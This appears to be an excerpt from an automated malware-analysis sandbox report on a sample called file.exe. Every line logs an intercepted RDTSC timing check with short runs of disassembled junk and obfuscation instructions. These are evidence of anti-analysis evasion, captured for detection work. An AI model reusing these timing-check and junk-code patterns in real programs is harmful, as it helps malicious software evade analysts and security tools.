                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D2C2 second address: 68D2C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D2C6 second address: 68D2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A14B6C83Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F5A14B6C836h 0x00000013 jnc 00007F5A14B6C836h 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6915BA second address: 6915C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6915C4 second address: 6915C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6915C8 second address: 6915D0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6913E3 second address: 6913EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6913EA second address: 691410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A147D6A2Ch 0x00000008 jno 00007F5A147D6A26h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5A147D6A2Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 691410 second address: 691414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 698A2E second address: 698A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 698A32 second address: 698A4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C848h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 698A4E second address: 698A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 698A54 second address: 698A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Ch 0x00000007 pushad 0x00000008 jmp 00007F5A14B6C83Ch 0x0000000d jmp 00007F5A14B6C844h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69AFBE second address: 69AFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5A147D6A26h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69AFC8 second address: 69AFCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69AFCE second address: 69B007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5A147D6A36h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F5A147D6A36h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69B007 second address: 69B01E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5A14B6C841h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69B01E second address: 69B024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69B024 second address: 69B028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69B028 second address: 69B02C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 69B02C second address: 69B032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6B0126 second address: 6B0133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6B1731 second address: 6B1739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6B1739 second address: 6B1761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F5A147D6A43h 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6C8D4E second address: 6C8D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F5A14B6C849h 0x00000014 popad 0x00000015 jo 00007F5A14B6C842h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6C91CF second address: 6C91E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A2Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6C960E second address: 6C9616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6C9616 second address: 6C961E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6C961E second address: 6C9639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A14B6C83Ch 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e js 00007F5A14B6C836h 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6C9935 second address: 6C9939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CDF44 second address: 6CDF62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5A14B6C845h 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CE117 second address: 6CE11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CE11B second address: 6CE134 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F5A14B6C83Ah 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CE134 second address: 6CE1BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5A147D6A34h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F5A147D6A28h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F5A147D6A28h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 sub edx, dword ptr [ebp+122D2D73h] 0x0000004c call 00007F5A147D6A29h 0x00000051 push eax 0x00000052 push edx 0x00000053 push edx 0x00000054 jmp 00007F5A147D6A2Bh 0x00000059 pop edx 0x0000005a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CE1BD second address: 6CE1DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C843h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CE1DB second address: 6CE1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnl 00007F5A147D6A26h 0x0000000c pop esi 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F5A147D6A26h 0x0000001b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CE1F6 second address: 6CE238 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5A14B6C83Eh 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F5A14B6C83Eh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jnc 00007F5A14B6C836h 0x00000024 jmp 00007F5A14B6C83Bh 0x00000029 popad 0x0000002a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6CFA54 second address: 6CFA61 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5A147D6A28h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C02DC second address: 50C02E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C02E0 second address: 50C0329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F5A147D6A38h 0x0000000f and si, E928h 0x00000014 jmp 00007F5A147D6A2Bh 0x00000019 popfd 0x0000001a mov bh, ch 0x0000001c popad 0x0000001d mov dword ptr [esp], ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F5A147D6A2Eh 0x00000027 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0329 second address: 50C0348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ecx, ebx 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx ecx, dx 0x00000016 mov bh, CAh 0x00000018 popad 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0348 second address: 50C034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C034E second address: 50C0352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50C0352 second address: 50C0356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B00A9 second address: 50B00B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C83Ch 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F05E7 second address: 50F0615 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5A147D6A32h 0x00000008 or cl, FFFFFFA8h 0x0000000b jmp 00007F5A147D6A2Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F0615 second address: 50F0619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F0619 second address: 50F061F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F061F second address: 50F064A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5A14B6C83Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edx, ax 0x00000017 mov bh, ah 0x00000019 popad 0x0000001a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F064A second address: 50F06A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5A147D6A2Eh 0x00000009 add ecx, 2AFDB998h 0x0000000f jmp 00007F5A147D6A2Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5A147D6A38h 0x0000001b sbb ecx, 41D5E3F8h 0x00000021 jmp 00007F5A147D6A2Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F06A3 second address: 50F06A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F06A7 second address: 50F06AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50800D6 second address: 508012D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C842h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushfd 0x0000000d jmp 00007F5A14B6C83Dh 0x00000012 sub ah, 00000016h 0x00000015 jmp 00007F5A14B6C841h 0x0000001a popfd 0x0000001b pop esi 0x0000001c pushad 0x0000001d mov ecx, edi 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F5A14B6C842h 0x00000029 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 508012D second address: 5080133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0D26 second address: 50A0D42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C848h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0D42 second address: 50A0D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0D48 second address: 50A0D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0D4C second address: 50A0D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5A147D6A34h 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0D6B second address: 50A0D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0D71 second address: 50A0DAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ebx, 5F3115BAh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F5A147D6A31h 0x00000018 or cl, 00000036h 0x0000001b jmp 00007F5A147D6A31h 0x00000020 popfd 0x00000021 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A08D0 second address: 50A08D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A08D4 second address: 50A08F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A08F1 second address: 50A0901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C83Ch 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0901 second address: 50A0953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F5A147D6A2Fh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F5A147D6A35h 0x00000019 mov ebp, esp 0x0000001b jmp 00007F5A147D6A2Eh 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov ecx, edx 0x00000026 mov ch, dh 0x00000028 popad 0x00000029 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0953 second address: 50A0959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0959 second address: 50A095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A095D second address: 50A0961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A07E8 second address: 50A07EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A07EC second address: 50A0807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C847h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0807 second address: 50A0846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5A147D6A2Eh 0x0000000f push eax 0x00000010 jmp 00007F5A147D6A2Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0846 second address: 50A084A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A084A second address: 50A0865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0865 second address: 50A086A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A057A second address: 50A057E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A057E second address: 50A0582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0582 second address: 50A0588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0588 second address: 50A05A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C847h 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A05A3 second address: 50A060A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov al, 90h 0x0000000f jmp 00007F5A147D6A39h 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007F5A147D6A2Eh 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5A147D6A37h 0x00000024 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A060A second address: 50A0610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0380 second address: 50B039C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 call 00007F5A147D6A2Bh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov dh, 00h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B039C second address: 50B03A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B03A1 second address: 50B0428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A147D6A2Fh 0x00000008 pushfd 0x00000009 jmp 00007F5A147D6A38h 0x0000000e sbb eax, 734482C8h 0x00000014 jmp 00007F5A147D6A2Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 jmp 00007F5A147D6A36h 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F5A147D6A2Dh 0x00000030 and esi, 7A607296h 0x00000036 jmp 00007F5A147D6A31h 0x0000003b popfd 0x0000003c mov edx, ecx 0x0000003e popad 0x0000003f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0428 second address: 50B0456 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5A14B6C848h 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0456 second address: 50B045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B045A second address: 50B0460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F04DA second address: 50F04DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F04DE second address: 50F04E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F04E4 second address: 50F04EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F04EA second address: 50F04EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50F04EE second address: 50F050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5A147D6A32h 0x00000010 rdtsc
